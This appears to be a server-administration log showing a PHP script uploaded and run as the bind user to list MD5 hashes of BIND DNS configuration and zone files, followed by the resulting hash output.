MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 92055efbed955a47809403a576bbf89c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:16:39: Establishing a connection
2026-02-09 15:26:45: Establishing a connection
2026-02-09 15:26:59: Establishing a remote connection
2026-02-09 15:27:04: Establishing a connection
2026-02-09 15:27:04: 

PUT: /tmp/pkp196547

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:27:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp196547; rm /tmp/pkp196547'

2026-02-09 15:27:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
